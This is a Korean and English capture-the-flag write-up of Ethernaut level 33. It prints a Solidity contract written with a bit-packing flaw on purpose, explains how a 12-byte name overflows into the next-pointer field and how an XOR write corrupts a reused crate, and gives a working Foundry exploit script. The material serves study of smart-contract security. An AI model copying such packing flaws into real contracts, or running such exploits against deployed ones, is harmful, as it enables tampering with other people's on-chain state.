Ethernaut Writeup CTF/Wargame

Ethernaut 33 Magic Animal Carousel

Ethernaut 33 Magic Animal Carousel 문제 풀이Ethernaut 33 Magic Animal Carousel writeup

Contents

문제

지문

Welcome, dear Anon, to the Magic Carousel, where creatures spin and twirl in a boundless spell. In this magical, infinite digital wheel, they loop and whirl with enchanting zeal. Add a creature to join the fun, but heed the rule, or the game’s undone. If an animal joins the ride, take care when you check again, that same animal must be there! Can you break the magic rule of the carousel?

코드

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract MagicAnimalCarousel {
    uint16 constant public MAX_CAPACITY = type(uint16).max;
    uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
    uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
    uint256 constant OWNER_MASK = uint256(type(uint160).max);

    uint256 public currentCrateId;
    mapping(uint256 crateId => uint256 animalInside) public carousel;

    error AnimalNameTooLong();
    error CrateNotInitialized();

    constructor() {
        carousel[0] ^= 1 << 160;
    }

    function setAnimalAndSpin(string calldata animal) external {
        uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
        uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

        require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
        carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
            | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

        currentCrateId = nextCrateId;
    }

    function changeAnimal(string calldata animal, uint256 crateId) external {
        uint256 crate = carousel[crateId];
        require(crate != 0, CrateNotInitialized());
        
        address owner = address(uint160(crate & OWNER_MASK));
        if (owner != address(0)) {
            require(msg.sender == owner);
        }
        uint256 encodedAnimal = encodeAnimalName(animal);
        if (encodedAnimal != 0) {
            // Replace animal
            carousel[crateId] =
                (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
        } else {
            // If no animal specified keep same animal but clear owner slot
            carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
        }
    }

    function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
        require(bytes(animalName).length <= 12, AnimalNameTooLong());
        return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
    }
}

배경지식


carousel는 mapping(uint256 => uint256)이지만, 실제로는 하나의 uint256 안에 세 필드를 직접 넣어 쓴다.

text
| animal: 80 bits | nextCrateId: 16 bits | owner: 160 bits |
|   상위 10 bytes  |       2 bytes        |    하위 20 bytes |

마스크도 이 구조에 맞춰져 있다. OWNER_MASK는 하위 160비트를, NEXT_ID_MASK는 그 위의 16비트를, ANIMAL_MASK는 최상위 80비트를 가리킨다. Solidity에서 << 160 + 16은 << (160 + 16)으로 계산되므로 ANIMAL_MASK는 176비트만큼 왼쪽으로 이동한 값이다.


encodeAnimalName은 최대 12바이트 문자열을 bytes32의 상위 바이트에 넣고 160비트 오른쪽으로 민다.

solidity
return uint256(bytes32(abi.encodePacked(animalName)) >> 160);

결과적으로 반환값은 최대 12바이트, 즉 96비트다. 문제는 동물 이름 필드가 10바이트, 즉 80비트만 준비되어 있다는 점이다. setAnimalAndSpin은 encodeAnimalName(animal) >> 16을 사용해서 하위 2바이트를 버린다. 그래서 12바이트 입력이 와도 앞의 10바이트만 동물 이름 필드에 들어간다. 반면 changeAnimal은 encodeAnimalName(animal)을 그대로 << 160 한다. 12바이트 값 전체가 올라가므로 앞 10바이트는 animal 필드에 들어가고, 뒤 2바이트는 nextCrateId 필드까지 침범한다.


setAnimalAndSpin은 새 동물을 저장할 때 기존 동물 필드를 지우지 않는다.

solidity
(carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)

여기서는 NEXT_ID_MASK만 지운다. 기존 crate에 이미 동물 값이 있으면 그 값은 남아 있고, 새 동물 값과 XOR된다. 빈 crate라면 0 ^ x = x라서 정상 저장처럼 보이지만, 비어 있지 않은 crate라면 결과가 입력값과 달라질 수 있다.

문제 코드 분석


먼저 초기 상태다.

solidity
uint16 constant public MAX_CAPACITY = type(uint16).max;
uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
uint256 constant OWNER_MASK = uint256(type(uint160).max);

uint256 public currentCrateId;
mapping(uint256 crateId => uint256 animalInside) public carousel;

constructor() {
    carousel[0] ^= 1 << 160;
}

배포 직후 currentCrateId는 0이다. 생성자에서 carousel[0]의 160번째 비트만 켜기 때문에, crate 0의 nextCrateId는 1이 된다. 따라서 첫 번째 setAnimalAndSpin 호출은 crate 1에 동물을 넣는다.


setAnimalAndSpin의 흐름은 다음과 같다.

solidity
function setAnimalAndSpin(string calldata animal) external {
    uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
    uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

    require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
    carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
        | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

    currentCrateId = nextCrateId;
}

먼저 현재 crate에서 NEXT_ID_MASK만 뽑아 다음 crate 번호를 구한다. 그리고 그 다음 crate에 동물 이름, 다음 포인터, 소유자를 저장한다. 이 코드는 새로 쓸 crate가 비어 있다고 가정한다. carousel[nextCrateId] & ~NEXT_ID_MASK는 기존 nextCrateId 필드만 지우고 나머지는 유지한다. 여기에 동물 이름을 XOR하므로, 이미 동물 이름이 들어 있던 crate를 다시 쓰게 만들면 저장 결과가 입력한 동물 이름과 달라진다. 목표는 setAnimalAndSpin이 이미 값이 있는 crate로 다시 돌아오게 만드는 것이다.


다음은 changeAnimal이다.

solidity
function changeAnimal(string calldata animal, uint256 crateId) external {
    uint256 crate = carousel[crateId];
    require(crate != 0, CrateNotInitialized());
    
    address owner = address(uint160(crate & OWNER_MASK));
    if (owner != address(0)) {
        require(msg.sender == owner);
    }
    uint256 encodedAnimal = encodeAnimalName(animal);
    if (encodedAnimal != 0) {
        carousel[crateId] =
            (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
    } else {
        carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
    }
}

changeAnimal은 crate의 owner가 있으면 owner만 호출할 수 있다. 하지만 우리가 setAnimalAndSpin으로 만든 crate는 owner가 우리 주소가 되므로, 우리가 직접 수정할 수 있다. changeAnimal은 encodedAnimal에 >> 16을 하지 않는다. 12바이트 문자열을 넣으면 encodedAnimal << 160의 하위 2바이트가 nextCrateId 위치에 들어간다. | (carousel[crateId] & NEXT_ID_MASK) 때문에 기존 nextCrateId와 새로 침범한 2바이트가 OR된다. 그래서 정확히 원하는 작은 값을 만들기는 어렵지만, 0xffff처럼 모든 비트가 1인 값은 확실히 만들 수 있다.

풀이

목표는 이미 초기화된 crate 1로 setAnimalAndSpin이 다시 돌아오게 만드는 것이다. crate 1에는 이전 동물 값이 남아 있어야 하고, 마지막 호출에서 그 값과 새 동물 값이 XOR되어야 한다. 먼저 setAnimalAndSpin("Dog")를 호출한다고 하자. 초기 상태에서 crate 0의 다음 포인터가 1이므로, 이 호출은 crate 1을 초기화한다. 호출 후 상태는 대략 다음과 같다.

text
currentCrateId = 1
carousel[1].animal = encode("Dog") >> 16
carousel[1].nextCrateId = 2
carousel[1].owner = attacker

이제 crate 1의 owner가 우리 주소이므로 changeAnimal을 호출할 수 있다. 여기서 12바이트 값을 넣어 뒤 2바이트가 nextCrateId 필드에 들어가게 만든다.

solidity
string(abi.encodePacked(hex"10000000000000000000ffff"))

이 값은 12바이트다. 앞 10바이트인 0x10000000000000000000은 crate 1의 동물 필드에 들어가고, 뒤 2바이트인 0xffff는 nextCrateId 필드에 들어간다. 기존 next 값과 OR되더라도 0xffff는 그대로 0xffff다. 따라서 changeAnimal 이후 crate 1은 다음 상태가 된다.

text
currentCrateId = 1
carousel[1].animal = 0x10000000000000000000
carousel[1].nextCrateId = 0xffff
carousel[1].owner = attacker

다음으로 setAnimalAndSpin("Parrot")처럼 임의의 동물을 한 번 더 넣는다. 현재 crate가 1이고, crate 1의 다음 포인터를 0xffff로 바꿔두었으므로 이번 호출은 crate 0xffff에 동물을 저장한다. 이때 crate 0xffff의 다음 포인터는 아래 식으로 계산된다.

(0xffff+1) mod 0xffff=1(0xffff + 1) \bmod 0xffff = 1

그래서 호출 후에는 currentCrateId가 0xffff가 되고, crate 0xffff는 다시 crate 1을 가리키게 된다.

text
currentCrateId = 0xffff
carousel[0xffff].nextCrateId = 1

다음 setAnimalAndSpin(animal) 호출은 crate 0xffff의 다음 포인터를 읽고 crate 1에 다시 쓴다. crate 1의 동물 필드에는 0x10000000000000000000이 남아 있다. 따라서 마지막 호출에서 crate 1의 동물 필드는 animal의 인코딩과 기존 값을 XOR한 값이 된다.

newAnimal=10000000000000000000⊕(encodeAnimalName(animal)>>16)newAnimal = 10000000000000000000 \oplus (encodeAnimalName(animal) >> 16)

이 값은 일반적으로 encodeAnimalName(animal) >> 16과 다르다. 그래서 마지막 호출 후 crate 1에 저장된 동물 값은 방금 넣은 값과 달라진다.

익스플로잇

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Script.sol";

interface IMagicAnimalCarousel {
    function setAnimalAndSpin(string calldata animal) external;
    function changeAnimal(string calldata animal, uint256 crateId) external;
}

contract Sol33 is Script {
    function run() external {
        uint256 privateKey = vm.envUint("PRIVATE_KEY");
        IMagicAnimalCarousel target = IMagicAnimalCarousel(vm.envAddress("MAGIC_ANIMAL_CAROUSEL_INSTANCE"));

        vm.startBroadcast(privateKey);

        target.setAnimalAndSpin("Dog");
        target.changeAnimal(string(abi.encodePacked(hex"10000000000000000000ffff")), 1);
        target.setAnimalAndSpin("Parrot");
        target.setAnimalAndSpin("Cat");

        vm.stopBroadcast();
    }
}

Challenge

Description

Welcome, dear Anon, to the Magic Carousel, where creatures spin and twirl in a boundless spell. In this magical, infinite digital wheel, they loop and whirl with enchanting zeal. Add a creature to join the fun, but heed the rule, or the game’s undone. If an animal joins the ride, take care when you check again, that same animal must be there! Can you break the magic rule of the carousel?

Code

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract MagicAnimalCarousel {
    uint16 constant public MAX_CAPACITY = type(uint16).max;
    uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
    uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
    uint256 constant OWNER_MASK = uint256(type(uint160).max);

    uint256 public currentCrateId;
    mapping(uint256 crateId => uint256 animalInside) public carousel;

    error AnimalNameTooLong();
    error CrateNotInitialized();

    constructor() {
        carousel[0] ^= 1 << 160;
    }

    function setAnimalAndSpin(string calldata animal) external {
        uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
        uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

        require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
        carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
            | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

        currentCrateId = nextCrateId;
    }

    function changeAnimal(string calldata animal, uint256 crateId) external {
        uint256 crate = carousel[crateId];
        require(crate != 0, CrateNotInitialized());
        
        address owner = address(uint160(crate & OWNER_MASK));
        if (owner != address(0)) {
            require(msg.sender == owner);
        }
        uint256 encodedAnimal = encodeAnimalName(animal);
        if (encodedAnimal != 0) {
            // Replace animal
            carousel[crateId] =
                (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
        } else {
            // If no animal specified keep same animal but clear owner slot
            carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
        }
    }

    function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
        require(bytes(animalName).length <= 12, AnimalNameTooLong());
        return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
    }
}

Background


carousel is a mapping(uint256 => uint256), but in practice it packs three fields directly into a single uint256.

text
| animal: 80 bits | nextCrateId: 16 bits | owner: 160 bits |
|  high 10 bytes   |       2 bytes        |  low 20 bytes   |

The masks match this layout. OWNER_MASK points to the low 160 bits, NEXT_ID_MASK to the 16 bits above that, and ANIMAL_MASK to the top 80 bits. In Solidity << 160 + 16 is computed as << (160 + 16), so ANIMAL_MASK is shifted left by 176 bits.


encodeAnimalName places a string of up to 12 bytes in the high bytes of a bytes32 and shifts it right by 160 bits.

solidity
return uint256(bytes32(abi.encodePacked(animalName)) >> 160);

The return value is therefore at most 12 bytes, i.e. 96 bits. The problem is that the animal name field is only 10 bytes, i.e. 80 bits, wide. setAnimalAndSpin uses encodeAnimalName(animal) >> 16 to discard the low 2 bytes. So even with a 12-byte input, only the first 10 bytes go into the animal name field. changeAnimal, on the other hand, shifts encodeAnimalName(animal) left by 160 as is. The entire 12-byte value is shifted up, so the first 10 bytes go into the animal field and the trailing 2 bytes spill into the nextCrateId field.


When setAnimalAndSpin stores a new animal, it does not clear the existing animal field.

solidity
(carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)

Here it clears only NEXT_ID_MASK. If the existing crate already has an animal value, that value remains and gets XORed with the new animal value. For an empty crate, 0 ^ x = x, so it looks like a normal store, but for a non-empty crate the result can differ from the input value.

Code analysis


First, the initial state:

solidity
uint16 constant public MAX_CAPACITY = type(uint16).max;
uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
uint256 constant OWNER_MASK = uint256(type(uint160).max);

uint256 public currentCrateId;
mapping(uint256 crateId => uint256 animalInside) public carousel;

constructor() {
    carousel[0] ^= 1 << 160;
}

Right after deployment currentCrateId is 0. The constructor turns on only bit 160 of carousel[0], so crate 0's nextCrateId becomes 1. So the first setAnimalAndSpin call places an animal in crate 1.


The setAnimalAndSpin flow:

solidity
function setAnimalAndSpin(string calldata animal) external {
    uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
    uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

    require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
    carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
        | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

    currentCrateId = nextCrateId;
}

First it extracts only NEXT_ID_MASK from the current crate to get the next crate number. Then it stores the animal name, next pointer, and owner in that next crate. This code assumes the crate about to be written is empty. carousel[nextCrateId] & ~NEXT_ID_MASK clears only the existing nextCrateId field and keeps the rest. It XORs the animal name onto that, so if you make it rewrite a crate that already holds an animal name, the stored result differs from the animal name you entered. The goal is to make setAnimalAndSpin return to a crate that already has a value.


Next is changeAnimal.

solidity
function changeAnimal(string calldata animal, uint256 crateId) external {
    uint256 crate = carousel[crateId];
    require(crate != 0, CrateNotInitialized());
    
    address owner = address(uint160(crate & OWNER_MASK));
    if (owner != address(0)) {
        require(msg.sender == owner);
    }
    uint256 encodedAnimal = encodeAnimalName(animal);
    if (encodedAnimal != 0) {
        carousel[crateId] =
            (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
    } else {
        carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
    }
}

If a crate has an owner, only the owner can call changeAnimal. But a crate we created with setAnimalAndSpin has our address as its owner, so we can modify it ourselves. changeAnimal does not apply >> 16 to encodedAnimal. If you pass a 12-byte string, the low 2 bytes of encodedAnimal << 160 land in the nextCrateId position. Because of | (carousel[crateId] & NEXT_ID_MASK), the existing nextCrateId is ORed with the newly spilled 2 bytes. So it is hard to produce an exact small value, but a value with all bits set, like 0xffff, can definitely be produced.

Solution

The goal is to make setAnimalAndSpin return to the already-initialized crate 1. Crate 1 must still hold the previous animal value, and on the final call that value must be XORed with the new animal value. Suppose we first call setAnimalAndSpin("Dog"). In the initial state crate 0's next pointer is 1, so this call initializes crate 1. After the call the state is roughly:

text
currentCrateId = 1
carousel[1].animal = encode("Dog") >> 16
carousel[1].nextCrateId = 2
carousel[1].owner = attacker

Now crate 1's owner is our address, so we can call changeAnimal. Here we pass a 12-byte value so that the trailing 2 bytes land in the nextCrateId field.

solidity
string(abi.encodePacked(hex"10000000000000000000ffff"))

This value is 12 bytes. The first 10 bytes, 0x10000000000000000000, go into crate 1's animal field, and the trailing 2 bytes, 0xffff, go into the nextCrateId field. Even ORed with the existing next value, 0xffff stays 0xffff. So after changeAnimal, crate 1 looks like this:

text
currentCrateId = 1
carousel[1].animal = 0x10000000000000000000
carousel[1].nextCrateId = 0xffff
carousel[1].owner = attacker

Next, add an arbitrary animal once more, as in setAnimalAndSpin("Parrot"). The current crate is 1, and we changed crate 1's next pointer to 0xffff, so this call stores the animal in crate 0xffff. Crate 0xffff's next pointer is then:

(0xffff+1) mod 0xffff=1(0xffff + 1) \bmod 0xffff = 1

So after the call, currentCrateId becomes 0xffff, and crate 0xffff points back to crate 1.

text
currentCrateId = 0xffff
carousel[0xffff].nextCrateId = 1

The next setAnimalAndSpin(animal) call reads crate 0xffff's next pointer and rewrites crate 1, whose animal field still holds 0x10000000000000000000. So on the final call, crate 1's animal field becomes the encoding of animal XORed with the existing value.

newAnimal=10000000000000000000⊕(encodeAnimalName(animal)>>16)newAnimal = 10000000000000000000 \oplus (encodeAnimalName(animal) >> 16)

This value is generally different from encodeAnimalName(animal) >> 16. So after the final call, the animal value stored in crate 1 differs from the value we just entered.

Exploit

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Script.sol";

interface IMagicAnimalCarousel {
    function setAnimalAndSpin(string calldata animal) external;
    function changeAnimal(string calldata animal, uint256 crateId) external;
}

contract Sol33 is Script {
    function run() external {
        uint256 privateKey = vm.envUint("PRIVATE_KEY");
        IMagicAnimalCarousel target = IMagicAnimalCarousel(vm.envAddress("MAGIC_ANIMAL_CAROUSEL_INSTANCE"));

        vm.startBroadcast(privateKey);

        target.setAnimalAndSpin("Dog");
        target.changeAnimal(string(abi.encodePacked(hex"10000000000000000000ffff")), 1);
        target.setAnimalAndSpin("Parrot");
        target.setAnimalAndSpin("Cat");

        vm.stopBroadcast();
    }
}

Esc

Search titles, content and code.